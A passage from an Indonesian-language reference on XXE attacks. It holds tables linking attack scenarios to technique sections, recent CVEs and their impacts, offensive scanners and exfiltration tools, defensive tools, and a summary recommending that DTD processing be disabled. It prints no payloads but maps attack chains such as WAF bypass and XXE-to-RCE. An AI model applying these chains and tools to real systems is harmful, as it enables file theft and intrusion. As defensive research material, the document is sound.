API XXEEndpoint REST/SOAP yang menerima XML§4-2 + §4-3
XXE yang Mengelak WAFAplikasi yang dilindungi WAF§5-1 + §5-3 + §8
XXE via Request SmugglingAplikasi dengan WAF dan kerentanan HTTP desync§4-2 + §8 — request body yang diselundupkan mengirimkan payload XXE melewati inspeksi XML WAF ke parser backend
XXE ke RCEAplikasi PHP atau Java dengan rantai yang dapat dieksploitasi§3-4/§3-5 + §7-5
Denial of ServiceAplikasi apa pun yang mengurai XML§7-1

Pemetaan CVE / Bounty (2024–2025)

Kombinasi MutasiCVE / KasusDampak / Bounty
§7-5 (nested deserialization → XXE) + §1-2 + §7-2CVE-2024-34102 — Adobe Commerce/Magento “CosmicSting”CVSS 9.8. XXE tanpa autentikasi via nested deserialization; pemalsuan admin JWT, dapat dirangkai dengan CVE-2024-2961 untuk RCE. Dieksploitasi secara aktif di lapangan.
§6-3 (bypass parser .NET) + §1-2 + §4-3CVE-2024-30043 — Microsoft SharePointCVSS 7.1. Kebingungan parsing URL mem-bypass larangan DTD; pembacaan file dengan Farm Service Account, NTLM relay, SSRF. Memengaruhi on-prem dan cloud.
§1-1 + §3-2 + §7-2CVE-2025-58360 — GeoServerCVSS High. XXE via operasi GetMap WMS; pembacaan file, SSRF, DoS. Ditambahkan ke katalog CISA KEV; dieksploitasi secara aktif.
§4-1 (carrier PDF/XFA) + §1-1CVE-2025-66516 — Apache TikaCVSS 10.0. XXE via konten XFA yang dibuat khusus yang disematkan dalam file PDF; memengaruhi tika-core, tika-pdf-module, tika-parsers.
§1-1 + §6-1 (Java)CVE-2024-45072 — IBM WebSphere Application ServerXXE pengguna berprivilese; pengungkapan informasi sensitif, konsumsi memori.
§1-1 + §3-2 + §6-1CVE-2024-22354 — IBM WebSphere Application Server LibertyXXE dengan kemampuan SSRF; penyerang jarak jauh dapat mengekspos informasi sensitif.
§4-1 (XLSX) + §1-1CVE-2025-49493 — Akamai CloudTestXXE via konfigurasi tes XML yang diunggah; diperbaiki dengan menonaktifkan pemrosesan DTD sepenuhnya.
§4-2 (EPP XXE)CoCCA Registry Software EPP XXE (2023)Pengungkapan file lokal + manipulasi zona ccTLD via XXE dalam protokol registrasi domain

Detection Tool

Tool Ofensif (Scanner & Exploiter)

ToolCakupan TargetTeknik Inti
Burp Suite ScannerAplikasi webDeteksi XXE otomatis dengan payload blind/OOB; Burp Collaborator untuk konfirmasi OOB
XXEinjectorEndpoint XXE apa punPengambilan file otomatis via metode langsung dan OOB; mendukung saluran HTTP, FTP, dan gopher
XXExploiterEndpoint XXE apa punMenghasilkan payload dan secara otomatis memulai server eksfiltrasi; mendukung beberapa saluran eksfiltrasi
oxml_xxeEndpoint upload fileMenyematkan payload XXE ke dalam file DOCX, XLSX, PPTX, ODT, SVG
docemEndpoint upload dokumenMenyematkan payload XXE/XSS ke dalam format DOCX, ODT, PPTX
dtd-finderPemanfaatan ulang DTD lokalMenemukan file DTD di filesystem target; menghasilkan payload pemanfaatan ulang
xxeservEksfiltrasi OOBMini webserver dengan dukungan FTP khusus untuk eksfiltrasi data XXE
B-XSSRFDeteksi blind XXE/SSRFToolkit untuk mendeteksi dan melacak interaksi blind XXE dan SSRF

Tool Defensif

ToolCakupan TargetTeknik Inti
defusedxml (Python)Aplikasi PythonPengganti drop-in untuk parser XML stdlib dengan XXE dinonaktifkan
AcunetixAplikasi webPemindaian XXE dengan AcuSensor untuk akurasi deteksi white-box
OWASP ZAPAplikasi webDeteksi ekspansi entitas eksponensial (Alert ID 40044)
libxml2 secure defaultsAplikasi PHP/Python/Ruby yang menggunakan libxml2Konfigurasi XML_PARSE_NOENT off, XML_PARSE_DTDLOAD off

Ringkasan: Prinsip Inti

Properti fundamental yang membuat seluruh kelas serangan XXE memungkinkan adalah keputusan desain XML untuk mengizinkan dokumen mereferensikan sumber daya eksternal melalui deklarasi entitas dalam DTD. Ini adalah fitur tingkat spesifikasi, bukan bug parser — spesifikasi XML 1.0 secara eksplisit mendefinisikan external entity sebagai mekanisme inti. Kerentanan muncul ketika fitur spesifikasi ini bertemu dengan input yang tidak tepercaya: parser dengan setia mengimplementasikan spesifikasi, dan aplikasi gagal membatasi kemampuan parser sebelum memproses XML yang dikendalikan pengguna.

Patch inkremental gagal karena attack surface tersebar di beberapa dimensi secara bersamaan. Memblokir file:// masih meninggalkan SSRF http://. Memblokir external entity masih meninggalkan parameter entity dalam DTD eksternal. Menonaktifkan DTD eksternal masih meninggalkan pemanfaatan ulang DTD lokal. Memblokir deklarasi DOCTYPE masih meninggalkan XInclude. Memfilter kata kunci dikalahkan oleh mutasi encoding. Setiap pertahanan mengatasi satu sumbu mutasi sambil membiarkan yang lain terbuka. Inilah mengapa kerentanan ini bertahan selama beberapa dekade setelah penemuan awalnya — ledakan kombinatorial dari tipe entitas, sumber DTD, protocol handler, format carrier, dan lapisan encoding menciptakan ruang mutasi yang tidak dapat sepenuhnya ditangani oleh perbaikan titik.

Solusi struktural adalah satu prinsip universal: nonaktifkan pemrosesan DTD sepenuhnya di level parser sebelum memproses XML yang tidak tepercaya apa pun. Aplikasi modern harus menggunakan XSD (XML Schema Definition) untuk validasi alih-alih DTD, dan parser XML harus dikonfigurasi untuk menolak deklarasi DOCTYPE secara tegas. Ini menghilangkan penyebab utama — deklarasi entitas — alih-alih mencoba memfilter variasi tak terbatasnya. Setiap bahasa dan framework utama sekarang mendukung konfigurasi ini, dan versi parser yang lebih baru semakin default ke perilaku aman (PHP 8.0+, .NET 4.5.2+, lxml 3.x+). Risiko yang tersisa terkonsentrasi di aplikasi legacy, permukaan parsing XML yang tersembunyi (konverter dokumen, prosesor upload file, parser PDF), dan opsi parser yang salah konfigurasi yang mengaktifkan ulang pemrosesan entitas.


Referensi


Dokumen ini dibuat untuk keperluan riset keamanan defensif dan pemahaman kerentanan.